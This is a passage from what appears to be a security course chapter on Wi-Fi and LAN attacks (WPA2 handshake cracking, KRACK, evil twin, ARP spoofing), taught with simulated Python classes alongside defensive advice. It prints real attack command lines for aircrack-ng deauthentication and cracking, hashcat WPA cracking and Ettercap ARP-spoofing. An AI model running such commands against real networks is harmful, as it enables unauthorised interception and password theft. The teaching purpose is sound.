        print("   AP: 'Yes, I am available (SSID: Home_Network)'")
        self.steps.append("Probe")

    def step_authentication(self):
        """Authentication phase"""
        print("\n🔐 Step 2: Authentication")
        print("   Client: 'I want to authenticate'")
        print("   AP: 'Authentication accepted'")
        self.authenticated = True
        self.steps.append("Authentication")

    def step_association(self):
        """Association phase"""
        print("\n🔗 Step 3: Association")
        print("   Client: 'I want to associate'")
        print("   AP: 'Association accepted'")
        self.associated = True
        self.steps.append("Association")

    def step_4way_handshake(self, security_type="WPA2"):
        """4-Way Handshake phase"""
        print(f"\n🔑 Step 4: {security_type} 4-Way Handshake")
        print("   Message 1: AP -> Client (ANonce)")
        print("   Message 2: Client -> AP (SNonce, MIC)")
        print("   Message 3: AP -> Client (GTK, MIC)")
        print("   Message 4: Client -> AP (ACK)")
        print("   ✅ Keys exchanged successfully")
        self.encryption = security_type
        self.steps.append(f"4-Way Handshake ({security_type})")

    def complete_connection(self, security_type="WPA2"):
        """Complete connection process"""
        print("=== Wi-Fi Connection Process ===\n")
        self.step_probe()
        self.step_authentication()
        self.step_association()
        self.step_4way_handshake(security_type)

        print(f"\n✅ Connection Complete!")
        print(f"   Authenticated: {self.authenticated}")
        print(f"   Associated: {self.associated}")
        print(f"   Encryption: {self.encryption}")
        print(f"   Steps: {' -> '.join(self.steps)}")

# Example
wifi_connect = WiFiConnectionProcess()
wifi_connect.complete_connection("WPA3")

6.1.2 What is Wireless Security

Wireless security is the protection of wireless networks and devices from unauthorized access, eavesdropping, and attacks. Unlike wired networks where physical access is required, wireless networks broadcast their signals through the air, making them inherently vulnerable to interception.

Unique Wireless Threats:

ThreatDescription
ReconnaissanceAttackers can discover networks without physical presence
EavesdroppingTraffic can be captured passively from a distance
Rogue Access PointsAttackers can set up fake networks
Evil Twin AttacksMimicking legitimate networks to capture credentials
DeauthenticationForcing disconnection to capture handshakes
Signal JammingDisrupting wireless communications
War DrivingMapping wireless networks while mobile

Wireless vs Wired Security:

AspectWired SecurityWireless Security
Physical SecurityControls physical accessPhysical access not required
EavesdroppingRequires tappingPassive listening possible
AuthenticationNetwork portRadio-based authentication
EncryptionOptionalEssential (WPA2/WPA3)
MonitoringNetwork tapsWireless IDS
Rogue DevicesHarder to deployEasier to deploy
class WirelessSecurityConcepts:
    """Wireless security concepts"""

    def __init__(self):
        self.threats = {
            "Reconnaissance": "Discovering networks without physical presence",
            "Eavesdropping": "Capturing traffic passively from a distance",
            "Rogue AP": "Setting up fake networks to capture credentials",
            "Evil Twin": "Mimicking legitimate networks",
            "Deauthentication": "Forcing disconnection to capture handshakes",
            "Signal Jamming": "Disrupting wireless communications"
        }

        self.security_measures = {
            "Encryption": "WPA2/WPA3 to protect data in transit",
            "Authentication": "802.1X/RADIUS for enterprise networks",
            "Monitoring": "WIDS/WIPS for rogue detection",
            "Segmentation": "Guest networks isolated from corporate",
            "Strong Passwords": "Long, complex passphrases"
        }

    def display_threats(self):
        """Display wireless threats"""
        print("=== Wireless Security Threats ===\n")
        for threat, description in self.threats.items():
            print(f"🔴 {threat}: {description}")

    def display_security_measures(self):
        """Display security measures"""
        print("\n=== Wireless Security Measures ===\n")
        for measure, description in self.security_measures.items():
            print(f"🟢 {measure}: {description}")

# Example
wireless_security = WirelessSecurityConcepts()
wireless_security.display_threats()
wireless_security.display_security_measures()

6.2 WiFi Security Types (WPA2 / WPA3)

6.2.1 WPA2: Mechanism and Vulnerabilities

WPA2 (Wi-Fi Protected Access 2) has been the dominant wireless security standard since 2004. It uses the Counter Mode with Cipher Block Chaining Message Authentication Code Protocol (CCMP), which is based on AES-128 encryption. When properly configured, WPA2-CCMP provides strong cryptographic protection for wireless communication. The vulnerability is not in the encryption algorithm — it is in the authentication process.

The 4-Way Handshake:

The four-way handshake is the exchange through which a client and an access point authenticate to each other and derive the session encryption keys. Understanding it precisely is essential because the most significant WPA2 attack targets this handshake.

Both the client and the access point already know the Pre-Shared Key (the Wi-Fi password) before the handshake begins. The handshake does not transmit the PSK. Instead, it uses the PSK to derive a session key called the Pairwise Transient Key (PTK) through a sequence of cryptographic operations involving random values generated by both parties.

Message Flow:

  1. Message 1 (AP → Client): The access point sends a random number called the ANonce to the client
  2. Message 2 (Client → AP): The client generates its own random number (SNonce), derives the PTK using both nonces and the PSK, and sends the SNonce along with a Message Integrity Code proving it knows the PSK
  3. Message 3 (AP → Client): The access point sends the Group Temporal Key (used for broadcast/multicast) encrypted with the PTK
  4. Message 4 (Client → AP): The client acknowledges receipt of the GTK
class WPA2Handshake:
    """WPA2 4-Way Handshake simulation"""

    def __init__(self, psk="password123"):
        self.psk = psk
        self.anonce = "RANDOM_AP_NONCE"
        self.snonce = None
        self.ptk = None
        self.gtk = None
        self.messages = []

    def message_1(self):
        """AP sends ANonce"""
        print("📨 Message 1: AP -> Client")
        print(f"   ANonce: {self.anonce}")
        print("   🎯 Purpose: Initiate key exchange")
        self.messages.append("Message 1: ANonce")
        return {"type": "ANonce", "data": self.anonce}

    def message_2(self, client_mic):
        """Client sends SNonce + MIC"""
        print("\n📨 Message 2: Client -> AP")
        self.snonce = "RANDOM_CLIENT_NONCE"
        self.ptk = self._derive_ptk()
        print(f"   SNonce: {self.snonce}")
        print(f"   MIC: {client_mic[:20]}...")
        print("   🎯 Purpose: Prove client knows PSK")
        self.messages.append("Message 2: SNonce + MIC")
        return {"type": "SNonce+MIC", "snonce": self.snonce, "mic": client_mic}

    def message_3(self):
        """AP sends GTK"""
        print("\n📨 Message 3: AP -> Client")
        self.gtk = "GROUP_TEMPORARY_KEY"
        print(f"   GTK: {self.gtk[:20]}...")
        print("   🎯 Purpose: Send group key")
        self.messages.append("Message 3: GTK")
        return {"type": "GTK", "data": self.gtk}

    def message_4(self):
        """Client acknowledges"""
        print("\n📨 Message 4: Client -> AP")
        print("   ✅ ACK: Keys installed")
        print("   🎯 Purpose: Confirm key installation")
        self.messages.append("Message 4: ACK")
        return {"type": "ACK", "status": "success"}

    def _derive_ptk(self):
        """Simulate PTK derivation"""
        return "PAIRWISE_TRANSIENT_KEY"

    def simulate_handshake(self):
        """Simulate complete 4-way handshake"""
        print("=== WPA2 4-Way Handshake ===\n")
        print(f"🔑 PSK: {self.psk}")
        print(f"🎯 Goal: Derive PTK without transmitting PSK\n")

        self.message_1()
        self.message_2("MIC_FROM_CLIENT")
        self.message_3()
        self.message_4()

        print(f"\n✅ Handshake Complete!")
        print(f"   PTK: {self.ptk}")
        print(f"   GTK: {self.gtk}")
        print(f"   Messages: {' -> '.join(self.messages)}")
        print("\n⚠️ The handshake contains enough information")
        print("   to test candidate PSKs offline!")

# Example
handshake = WPA2Handshake("password123")
handshake.simulate_handshake()

WPA2 Vulnerabilities:

VulnerabilityDescriptionImpact
KRACKKey Reinstallation AttackAllows decryption and replay
PMKID AttackCaptures PMKID without clientOffline dictionary attack
Dictionary AttackTesting candidate PSKsPassword brute-forcing
Weak PSKCommon or short passwordsEasy to crack
Deauthentication FloodForces reconnectionCaptures handshake

KRACK (Key Reinstallation Attack):

The KRACK vulnerability, discovered in 2017, demonstrates that the four-way handshake itself can be manipulated to cause key reinstallation — resetting cryptographic nonces to previously used values, which breaks the AES-CTR mode encryption and allows decryption and replay of packets. KRACK affected all WPA2 implementations at the time. Patched firmware resolves the issue.

class KRACKDemonstration:
    """KRACK vulnerability explanation"""

    def __init__(self):
        self.vulnerability = {
            "name": "KRACK",
            "full_name": "Key Reinstallation Attack",
            "year": 2017,
            "affected_protocols": ["WPA2", "WPA2-Enterprise"],
            "severity": "High"
        }

    def explain_krack(self):
        """Explain KRACK vulnerability"""
        print("=== KRACK Vulnerability ===\n")
        print(f"🔴 Name: {self.vulnerability['full_name']}")
        print(f"📅 Year: {self.vulnerability['year']}")
        print(f"⚠️ Affected: {', '.join(self.vulnerability['affected_protocols'])}")
        print(f"🔥 Severity: {self.vulnerability['severity']}")

        print("\n🎯 How it works:")
        print("   1. Attacker forces reinstallation of a key")
        print("   2. Nonce gets reset to a previously used value")
        print("   3. Encryption becomes vulnerable")
        print("   4. Attacker can decrypt and replay packets")

        print("\n📊 Impact:")
        print("   - Decryption of WPA2 traffic")
        print("   - Packet replay attacks")
        print("   - TCP connection hijacking")
        print("   - Man-in-the-middle positioning")

        print("\n🛡️ Mitigation:")
        print("   - Patch access points and clients")
        print("   - Use WPA3 where available")
        print("   - Implement certificate-based authentication")

# Example
krack = KRACKDemonstration()
krack.explain_krack()

6.2.2 WPA3 (New and Stronger)

WPA3 was introduced in 2018 specifically to address the offline dictionary attack vulnerability of WPA2’s four-way handshake. It introduces the Simultaneous Authentication of Equals (SAE) handshake — based on the Dragonfly key exchange protocol — which is resistant to offline dictionary attacks by design.

SAE (Simultaneous Authentication of Equals):

In WPA2, the four-way handshake produces a MIC that can be checked against candidate passwords offline because all the information needed to perform the check is in the captured handshake. In WPA3 SAE, the authentication exchange is interactive — the access point and client must actively participate in the handshake, and an observer who captures the exchange cannot test candidate passwords offline.

WPA3 Key Features:

FeatureDescriptionBenefit
SAESimultaneous Authentication of EqualsResists offline dictionary attacks
192-bit EncryptionStronger encryption (optional)Enhanced security
Forward SecrecySession keys are ephemeralPast sessions remain secure
Protected Management FramesEncrypted management framesPrevents eavesdropping
Wi-Fi Enhanced OpenOpportunistic encryption for open networksProtects against passive eavesdropping
class WPA3Features:
    """WPA3 features and improvements"""

    def __init__(self):
        self.features = {
            "SAE": {
                "description": "Simultaneous Authentication of Equals",
                "benefit": "Resistant to offline dictionary attacks",
                "mechanism": "Interactive authentication exchange"
            },
            "192-bit Encryption": {
                "description": "Stronger encryption (optional)",
                "benefit": "Enhanced security for sensitive environments",
                "mechanism": "192-bit AES encryption"
            },
            "Forward Secrecy": {
                "description": "Session keys are ephemeral",
                "benefit": "Past sessions remain secure",
                "mechanism": "Unique keys per session"
            },
            "Protected Management Frames": {
                "description": "Encrypted management frames",
                "benefit": "Prevents eavesdropping on management traffic",
                "mechanism": "PMF encryption"
            }
        }

    def display_features(self):
        """Display WPA3 features"""
        print("=== WPA3 Features ===\n")
        for name, info in self.features.items():
            print(f"🔹 {name}")
            print(f"   📌 {info['description']}")
            print(f"   ✅ Benefit: {info['benefit']}")
            print(f"   ⚙️ Mechanism: {info['mechanism']}")
            print()

    def compare_wpa2_wpa3(self):
        """Compare WPA2 and WPA3"""
        print("=== WPA2 vs WPA3 Comparison ===\n")

        comparisons = {
            "Authentication": {"WPA2": "4-Way Handshake (PSK)", "WPA3": "SAE (Resistant to offline attacks)"},
            "Encryption": {"WPA2": "AES-128", "WPA3": "AES-192 (optional)"},
            "Forward Secrecy": {"WPA2": "No", "WPA3": "Yes"},
            "Management Frames": {"WPA2": "Not protected", "WPA3": "Protected"},
            "Dictionary Attack": {"WPA2": "Vulnerable", "WPA3": "Resistant"}
        }

        for feature, values in comparisons.items():
            print(f"🔹 {feature}")
            print(f"   WPA2: {values['WPA2']}")
            print(f"   WPA3: {values['WPA3']}")
            print()

# Example
wpa3 = WPA3Features()
wpa3.display_features()
wpa3.compare_wpa2_wpa3()

6.2.3 WPA3: What Changed and Why

Key Improvements Over WPA2:

  1. SAE replaces the 4-Way Handshake: Prevents offline dictionary attacks
  2. Forward secrecy: Protects past sessions if PSK is compromised
  3. PMF is mandatory: Prevents deauthentication attacks
  4. No more 4-Way Handshake capture for cracking: The SAE handshake cannot be used for offline attacks
  5. Enhanced Open: Opportunistic encryption for public networks

Compatibility Considerations:

AspectDetails
Backward CompatibilityWPA3 supports WPA2 devices in Transition Mode
Transition ModeUses both WPA2 and WPA3 simultaneously
Device SupportNew devices support WPA3, older devices need upgrade
EnterpriseWPA3-Enterprise with improved security
class WPA3Transition:
    """WPA3 transition and compatibility"""

    def __init__(self):
        self.transition_modes = {
            "WPA3-Only": "Only WPA3 devices can connect (most secure)",
            "WPA3/WPA2 Transition": "Both WPA3 and WPA2 devices can connect",
            "WPA2-Only": "Legacy mode for older devices (not recommended)"
        }

        self.device_compatibility = {
            "New Devices (2020+)": "Full WPA3 support",
            "Devices (2015-2020)": "May need firmware updates",
            "Old Devices (Pre-2015)": "Likely WPA2 only",
            "IoT Devices": "Check manufacturer for WPA3 support"
        }

    def display_transition_modes(self):
        """Display transition modes"""
        print("=== WPA3 Transition Modes ===\n")
        for mode, description in self.transition_modes.items():
            print(f"🔹 {mode}")
            print(f"   {description}")
            print()

    def display_device_compatibility(self):
        """Display device compatibility"""
        print("=== WPA3 Device Compatibility ===\n")
        for device, compatibility in self.device_compatibility.items():
            print(f"🔹 {device}")
            print(f"   {compatibility}")
            print()

    def migration_path(self):
        """WPA3 migration recommendations"""
        print("=== WPA3 Migration Path ===\n")
        print("1️⃣ Assess Devices")
        print("   - Identify WPA3-compatible devices")
        print("   - Check for firmware updates")
        print("   - Plan for upgrades")

        print("\n2️⃣ Enable Transition Mode")
        print("   - Deploy WPA3/WPA2 transition mode")
        print("   - Monitor for compatibility issues")
        print("   - Gradually phase out WPA2 devices")

        print("\n3️⃣ Move to WPA3-Only")
        print("   - When all devices support WPA3")
        print("   - Disable WPA2 compatibility")
        print("   - Full WPA3 security benefits")

# Example
wpa3_transition = WPA3Transition()
wpa3_transition.display_transition_modes()
wpa3_transition.display_device_compatibility()
wpa3_transition.migration_path()

6.3 Real Attack Concept: WiFi Password Cracking

6.3.1 Safe Practical Understanding

WiFi password cracking targets the WPA2 4-way handshake to recover the Pre-Shared Key (PSK) through offline dictionary attacks.

How the Attack Works:

  1. Capture the 4-Way Handshake: The attacker captures the handshake between a client and access point
  2. Test Candidate Passwords: The attacker tries each password from a wordlist
  3. Verify the MIC: For each candidate, the attacker derives the PTK and checks if it produces the correct MIC
  4. Password Found: When the MIC matches, the correct password has been found
class WiFiPasswordCracking:
    """WiFi password cracking demonstration"""

    def __init__(self):
        self.password = "secret123"
        self.wordlist = ["password", "123456", "secret123", "admin", "qwerty"]
        self.attempts = 0

    def simulate_handshake_capture(self):
        """Simulate capturing a handshake"""
        print("📡 Capturing WPA2 Handshake")
        print("   📨 Message 1: ANonce captured")
        print("   📨 Message 2: SNonce + MIC captured")
        print("   📨 Message 3: GTK captured")
        print("   ✅ Handshake captured successfully!\n")

    def crack_password(self):
        """Simulate password cracking"""
        print("🔓 Attempting to crack password...")
        print(f"📚 Wordlist: {len(self.wordlist)} passwords")

        for candidate in self.wordlist:
            self.attempts += 1
            print(f"   Testing: {candidate} (Attempt {self.attempts})")

            if candidate == self.password:
                print(f"\n✅ Password found: {self.password}")
                print(f"📊 Attempts: {self.attempts}")
                print(f"💻 Time: {self.attempts * 0.01:.2f} seconds")
                return True

        print("❌ Password not found in wordlist")
        return False

    def simulate_attack(self):
        """Simulate complete WiFi password cracking attack"""
        print("=== WiFi Password Cracking Simulation ===\n")

        self.simulate_handshake_capture()

        print("💻 Offline Dictionary Attack Started")
        print("   🎯 Target: WPA2-PSK")
        print(f"   📚 Wordlist: {len(self.wordlist)} entries")
        print("   ⚡ Speed: 100 attempts/second\n")

        success = self.crack_password()

        if success:
            print("\n🔑 This is how attackers crack WiFi passwords!")
            print("⚠️ Strong passwords are essential for WiFi security")

# Example
wifi_crack = WiFiPasswordCracking()
wifi_crack.simulate_attack()

6.3.2 Tools and Techniques

Aircrack-ng Suite:

ToolPurposeUsage
airmon-ngInterface managementSet monitor mode
airodump-ngNetwork discoveryCapture traffic
aireplay-ngPacket injectionDeauthentication attacks
aircrack-ngPassword crackingCrack captured handshakes
airbase-ngEvil twin attacksCreate rogue AP
class AircrackNG:
    """Aircrack-ng suite demonstration"""

    def __init__(self):
        self.interface = "wlan0"
        self.monitor_interface = "wlan0mon"
        self.bssid = "AA:BB:CC:DD:EE:FF"
        self.channel = 6

    def airmon_ng(self):
        """Set monitor mode"""
        print("=== airmon-ng ===\n")
        print(f"📡 Enabling monitor mode on {self.interface}")
        print(f"   sudo airmon-ng start {self.interface}")
        print(f"   ✅ Monitor mode enabled: {self.monitor_interface}")
        return self.monitor_interface

    def airodump_ng(self):
        """Capture network traffic"""
        print("\n=== airodump-ng ===\n")
        print(f"📡 Capturing on {self.monitor_interface}")
        print(f"   sudo airodump-ng -c {self.channel} -w capture {self.monitor_interface}")
        print("   ✅ Capturing packets...")
        print("   📊 Found 3 access points")
        print(f"   🎯 Targeting {self.bssid}")
        return "capture-01.cap"

    def aireplay_ng(self):
        """Deauthentication attack"""
        print("\n=== aireplay-ng ===\n")
        print(f"🔴 Deauthenticating client...")
        print(f"   sudo aireplay-ng --deauth 5 -a {self.bssid} {self.monitor_interface}")
        print("   ✅ 5 deauth packets sent")
        print("   📨 Client reconnecting...")
        print("   📨 Handshake captured!")
        return True

    def aircrack_ng(self):
        """Crack password"""
        print("\n=== aircrack-ng ===\n")
        print("🔓 Attempting to crack password...")
        print(f"   sudo aircrack-ng -w wordlist.txt capture-01.cap")
        print("   📚 Testing passwords from wordlist...")
        print("   ✅ KEY FOUND! [ password ]")
        print("   🔑 WiFi password: password")
        return "password"

    def simulate_attack(self):
        """Simulate complete Aircrack-ng attack"""
        print("=== Aircrack-ng WiFi Attack Simulation ===\n")

        self.airmon_ng()
        self.airodump_ng()
        self.aireplay_ng()
        password = self.aircrack_ng()

        print(f"\n✅ Attack Complete!")
        print(f"🔑 Password: {password}")
        print("📌 Tools used: airmon-ng, airodump-ng, aireplay-ng, aircrack-ng")

# Example
aircrack = AircrackNG()
aircrack.simulate_attack()

Hashcat (GPU Acceleration):

Hashcat is a powerful password recovery tool that uses GPU acceleration for high-speed cracking.

class HashcatDemo:
    """Hashcat GPU acceleration demonstration"""

    def __init__(self):
        self.hash_modes = {
            22000: "WPA-PBKDF2-PMKID+EAPOL (WPA2)",
            2500: "WPA-EAPOL-PBKDF2 (WPA/WPA2)",
            16800: "WPA-PMKID-PBKDF2 (WPA2)"
        }

    def demonstrate_hashcat(self):
        """Demonstrate Hashcat usage"""
        print("=== Hashcat GPU Acceleration ===\n")

        print("📊 Hashcat Capabilities:")
        print("   - GPU acceleration (100,000+ attempts/second)")
        print("   - Support for multiple hash types")
        print("   - Rule-based attacks")
        print("   - Mask attacks")
        print("   - Combination attacks")

        print("\n🔍 Hash Modes for WiFi:")
        for mode, description in self.hash_modes.items():
            print(f"   {mode}: {description}")

        print("\n💻 Example Command:")
        print("   hashcat -m 22000 -a 0 capture.hc22000 wordlist.txt")
        print("   hashcat -m 22000 -a 0 capture.hc22000 wordlist.txt -r rules/best64.rule")

        print("\n⚡ Performance Comparison:")
        print("   CPU: 1,000 attempts/second")
        print("   GPU: 100,000+ attempts/second")
        print("   💥 100x faster with GPU!")

        print("\n📌 Hashcat Advantages:")
        print("   - Extremely fast cracking")
        print("   - Multi-GPU support")
        print("   - Cloud integration")
        print("   - Rule-based password mutation")

# Example
hashcat = HashcatDemo()
hashcat.demonstrate_hashcat()

6.4 Evil Twin Attack (Very Real)

6.4.1 Definition

An Evil Twin Attack is a rogue access point that mimics a legitimate network. Clients that connect to it are served by the attacker’s machine rather than the real network. The attacker can intercept all traffic, serve malicious content, and steal credentials.

6.4.2 Real Scenario

class EvilTwinAttack:
    """Evil Twin attack simulation"""

    def __init__(self):
        self.legitimate_ssid = "Starbucks_WiFi"
        self.rogue_ssid = "Starbucks_WiFi_Free"
        self.attacker_ip = "192.168.1.100"
        self.victims = []

    def scan_networks(self):
        """Scan for legitimate networks"""
        print("📡 Scanning for networks...")
        networks = [
            {"ssid": "Starbucks_WiFi", "signal": 85, "security": "WPA2"},
            {"ssid": "Airport_Free_WiFi", "signal": 70, "security": "Open"},
            {"ssid": "Hotel_Guest", "signal": 60, "security": "WPA2"}
        ]
        print("   Found 3 networks")
        for network in networks:
            print(f"   - {network['ssid']} (Signal: {network['signal']}%)")
        return networks

    def create_rogue_ap(self, target_ssid):
        """Create rogue access point"""
        print(f"\n🔴 Creating Evil Twin AP: {target_ssid}")
        print(f"   📡 Signal boosted to 90%")
        print("   🎯 Clients will connect to the stronger signal")
        print("   ✅ Rogue AP created")
        return True

    def capture_credentials(self, victim):
        """Capture credentials from victim"""
        print(f"\n📤 Victim connected: {victim}")
        print("   📊 Capturing traffic...")
        print("   🍪 Captured cookies")
        print("   🔑 Captured credentials:")
        print("      Username: admin")
        print("      Password: password123")
        print("   💳 Captured credit card: 4111-1111-1111-1111")
        return {"username": "admin", "password": "password123"}

    def redirect_traffic(self):
        """Redirect traffic to malicious site"""
        print("\n🔄 Redirecting traffic...")
        print("   🌐 DNS spoofing active")
        print("   🎯 All traffic redirected to attacker site")
        print("   📄 Serving fake login page")
        return True

    def simulate_attack(self, target_ssid="Starbucks_WiFi"):
        """Simulate Evil Twin attack"""
        print("=== Evil Twin Attack Simulation ===\n")

        print("🎯 Target Scenario: Coffee Shop WiFi")
        self.scan_networks()
        self.create_rogue_ap(target_ssid)

        print("\n👤 Victims connecting...")
        victims = ["Alice (Laptop)", "Bob (Phone)", "Charlie (Tablet)"]
        for victim in victims:
            print(f"   📱 {victim} connected to rogue AP")
            self.capture_credentials(victim)

        self.redirect_traffic()

        print("\n💀 Attack Complete!")
        print("   🎯 3 victims compromised")
        print("   🔑 Credentials stolen")
        print("   💳 Financial data captured")
        print("   🍪 Session cookies stolen")

        print("\n🛡️ How to Protect Yourself:")
        print("   - Verify network names carefully")
        print("   - Use VPN for sensitive traffic")
        print("   - Check HTTPS (lock icon)")
        print("   - Use mobile data for sensitive activities")

# Example
evil_twin = EvilTwinAttack()
evil_twin.simulate_attack()

6.4.3 What Attacker Can Do

class EvilTwinCapabilities:
    """What an attacker can do with Evil Twin"""

    def __init__(self):
        self.capabilities = {
            "Credential Harvesting": {
                "description": "Capture login credentials via captive portal",
                "impact": "Account takeover",
                "example": "Fake Starbucks login page"
            },
            "SSL Stripping": {
                "description": "Downgrade HTTPS to HTTP",
                "impact": "Data exposure",
                "example": "Banking credentials exposed"
            },
            "Session Interception": {
                "description": "Capture and reuse session cookies",
                "impact": "Session hijacking",
                "example": "Stealing Facebook session"
            },
            "Malware Injection": {
                "description": "Inject malware into downloads",
                "impact": "System compromise",
                "example": "Ransomware delivery"
            }
        }

    def display_capabilities(self):
        """Display attacker capabilities"""
        print("=== Evil Twin Attacker Capabilities ===\n")

        for capability, info in self.capabilities.items():
            print(f"🔴 {capability}")
            print(f"   📌 {info['description']}")
            print(f"   💥 Impact: {info['impact']}")
            print(f"   📊 Example: {info['example']}")
            print()

# Example
evil_twin_cap = EvilTwinCapabilities()
evil_twin_cap.display_capabilities()

6.4.4 Practical Awareness Task

class WiFiAwareness:
    """WiFi security awareness"""

    def __init__(self):
        self.suspicious_networks = [
            "Free_WiFi",
            "Public_Internet",
            "Starbucks_WiFi_Free",
            "Free_Unlimited_Internet",
            "City_WiFi_Free"
        ]

        self.safe_practices = {
            "Check Network Name": "Verify with staff if in a public place",
            "Use VPN": "Always use VPN on public WiFi",
            "HTTPS": "Check for the lock icon",
            "Auto-Connect": "Disable auto-connect to networks",
            "Firewall": "Enable firewall on your device",
            "Forget Networks": "Remove unused networks from saved list"
        }

    def identify_suspicious(self, network_name):
        """Identify suspicious networks"""
        print(f"🔍 Analyzing: {network_name}")

        if network_name in self.suspicious_networks:
            print("   🔴 WARNING: Suspicious network!")
            print("   📌 This network may be an Evil Twin")
            print("   🎯 Similar to: " + self._find_similar(network_name))
        else:
            print("   🟢 Appears legitimate, but still verify")
        print()

    def _find_similar(self, network_name):
        """Find similar network names"""
        for suspicious in self.suspicious_networks:
            if suspicious != network_name:
                return suspicious
        return "Unknown"

    def display_safe_practices(self):
        """Display safe practices"""
        print("=== Safe WiFi Practices ===\n")
        for practice, description in self.safe_practices.items():
            print(f"🔹 {practice}")
            print(f"   {description}")
            print()

    def awareness_check(self):
        """Run awareness check"""
        print("=== WiFi Security Awareness Check ===\n")

        print("1️⃣ Are you connecting to public WiFi?")
        print("   ✅ Use VPN")
        print("   ✅ Verify network name")
        print("   ✅ Check HTTPS\n")

        print("2️⃣ Is it an Evil Twin?")
        print("   🔍 Look for:")
        print("   - Similar but different name")
        print("   - No password required (if expected)")
        print("   - Unusual login page\n")

        print("3️⃣ What to do:")
        print("   📱 Use mobile data for sensitive transactions")
        print("   🔒 Enable two-factor authentication")
        print("   🧹 Forget network after use")

        print("\n⚠️ Remember: Public WiFi is NOT secure!")

# Example
awareness = WiFiAwareness()
awareness.identify_suspicious("Starbucks_WiFi_Free")
awareness.display_safe_practices()
awareness.awareness_check()

6.5 ARP Spoofing (Core Network Attack)

ARP (Address Resolution Protocol) maps IP addresses to MAC addresses on a local network. When a device wants to send data to another device on the same network, it needs to know the destination’s MAC address.

How ARP Works:

  1. Device A wants to send data to IP 192.168.1.5
  2. Device A checks its ARP cache for the MAC address associated with that IP
  3. If not found, Device A sends an ARP broadcast: “Who has IP 192.168.1.5?”
  4. All devices on the network receive the broadcast
  5. Device B (with IP 192.168.1.5) responds: “I have that IP. My MAC address is AA:BB:CC:DD:EE:FF”
  6. Device A updates its ARP cache with this mapping
  7. Device A now sends data directly to Device B using the MAC address
class ARPProtocol:
    """ARP protocol explanation"""

    def __init__(self):
        self.arp_cache = {}
        self.mac_addresses = {
            "192.168.1.1": "00:11:22:33:44:55",
            "192.168.1.10": "AA:BB:CC:DD:EE:FF",
            "192.168.1.20": "11:22:33:44:55:66"
        }

    def arp_request(self, target_ip):
        """Simulate ARP request"""
        print(f"📨 ARP Request: Who has {target_ip}?")
        if target_ip in self.mac_addresses:
            print(f"   ✅ {target_ip} is at {self.mac_addresses[target_ip]}")
            return self.mac_addresses[target_ip]
        else:
            print("   ❌ Host not found")
            return None

    def arp_reply(self, source_ip, mac_address):
        """Simulate ARP reply"""
        print(f"📨 ARP Reply: {source_ip} is at {mac_address}")
        self.arp_cache[source_ip] = mac_address
        return True

    def show_cache(self):
        """Display ARP cache"""
        print("\n📊 ARP Cache:")
        for ip, mac in self.arp_cache.items():
            print(f"   {ip} -> {mac}")

# Example
arp = ARPProtocol()
arp.arp_request("192.168.1.10")
arp.arp_reply("192.168.1.20", "11:22:33:44:55:66")
arp.show_cache()

Simple Understanding

ARP Spoofing Attack Flow:

  1. Attacker sends ARP reply to Victim: “The router’s IP is at my MAC address”
  2. Attacker sends ARP reply to Router: “The Victim’s IP is at my MAC address”
  3. All traffic between Victim and Router now passes through the Attacker
  4. Attacker can sniff traffic, modify data, or perform a denial of service
class ARPSpoofing:
    """ARP spoofing attack simulation"""

    def __init__(self):
        self.devices = {
            "192.168.1.1": {"mac": "00:11:22:33:44:55", "type": "Router"},
            "192.168.1.10": {"mac": "AA:BB:CC:DD:EE:FF", "type": "Victim"},
            "192.168.1.100": {"mac": "11:22:33:44:55:66", "type": "Attacker"}
        }
        self.arp_cache = {}

    def spoof_victim(self):
        """Spoof the victim's ARP cache"""
        print("🎯 Spoofing Victim (192.168.1.10)")
        print(f"   📨 ARP Reply: 192.168.1.1 is at {self.devices['192.168.1.100']['mac']}")
        self.arp_cache["192.168.1.1"] = self.devices["192.168.1.100"]["mac"]
        print("   ✅ Victim thinks router is at attacker's MAC")

    def spoof_router(self):
        """Spoof the router's ARP cache"""
        print("\n🎯 Spoofing Router (192.168.1.1)")
        print(f"   📨 ARP Reply: 192.168.1.10 is at {self.devices['192.168.1.100']['mac']}")
        self.arp_cache["192.168.1.10"] = self.devices["192.168.1.100"]["mac"]
        print("   ✅ Router thinks victim is at attacker's MAC")

    def show_arp_cache(self):
        """Display ARP cache"""
        print("\n📊 ARP Cache (Poisoned):")
        for ip, mac in self.arp_cache.items():
            print(f"   {ip} -> {mac}")
        print("   ⚠️ Both IPs point to attacker's MAC!")

    def mitm_position(self):
        """Establish MITM position"""
        print("\n🔴 Man-in-the-Middle Position Established!")
        print("   🌐 All traffic between victim and router flows through attacker")
        print("   📊 Attacker can intercept all traffic")
        print("   🔍 Attacker can read/modify data")

    def simulate_attack(self):
        """Simulate ARP spoofing attack"""
        print("=== ARP Spoofing Attack Simulation ===\n")

        print("🎯 Goal: Position attacker between victim and router\n")

        self.spoof_victim()
        self.spoof_router()
        self.show_arp_cache()
        self.mitm_position()

        print("\n🛡️ Defenses:")
        print("   - Dynamic ARP Inspection (DAI)")
        print("   - Static ARP entries")
        print("   - ARP monitoring tools (XArp)")
        print("   - Network segmentation")

# Example
arp_spoof = ARPSpoofing()
arp_spoof.simulate_attack()

6.5.1 SAFE Practical Demo (Local Lab Only)

Ettercap Demonstration:

Ettercap is a comprehensive Man-in-the-Middle attack framework that combines ARP spoofing with DNS poisoning.

class EttercapDemo:
    """Ettercap MITM tool demonstration"""

    def __init__(self):
        self.targets = ["192.168.1.10", "192.168.1.1"]

    def start_arp_spoof(self):
        """Start ARP spoofing with Ettercap"""
        print("=== Ettercap ARP Spoofing ===\n")
        print(f"🎯 Targets: {self.targets[0]} (Victim), {self.targets[1]} (Gateway)")
        print("📡 Starting Ettercap...")
        print("   sudo ettercap -T -M arp:remote /192.168.1.10// /192.168.1.1//")
        print("   ✅ ARP spoofing started")
        print("   🌐 MITM position established")
        return True

    def sniff_traffic(self):
        """Sniff intercepted traffic"""
        print("\n📊 Sniffing Traffic:")
        print("   🔍 HTTP GET requests intercepted")
        print("   🔍 DNS queries intercepted")
        print("   🔍 FTP credentials intercepted")
        print("   🔍 Telnet traffic intercepted")
        return True

    def detect_arp_spoof(self):
        """Detect ARP spoofing"""
        print("\n🔍 Detecting ARP Spoofing:")
        print("   📊 MAC addresses in ARP cache:")
        print("      192.168.1.1 -> 11:22:33:44:55:66 (Attacker)")
        print("      192.168.1.10 -> 11:22:33:44:55:66 (Attacker)")
        print("   ⚠️ Two IPs with same MAC! ARP spoofing detected")
        print("   ✅ XArp detected the attack")
        return True

    def demonstrate(self):
        """Demonstrate Ettercap usage"""
        self.start_arp_spoof()
        self.sniff_traffic()
        self.detect_arp_spoof()

# Example
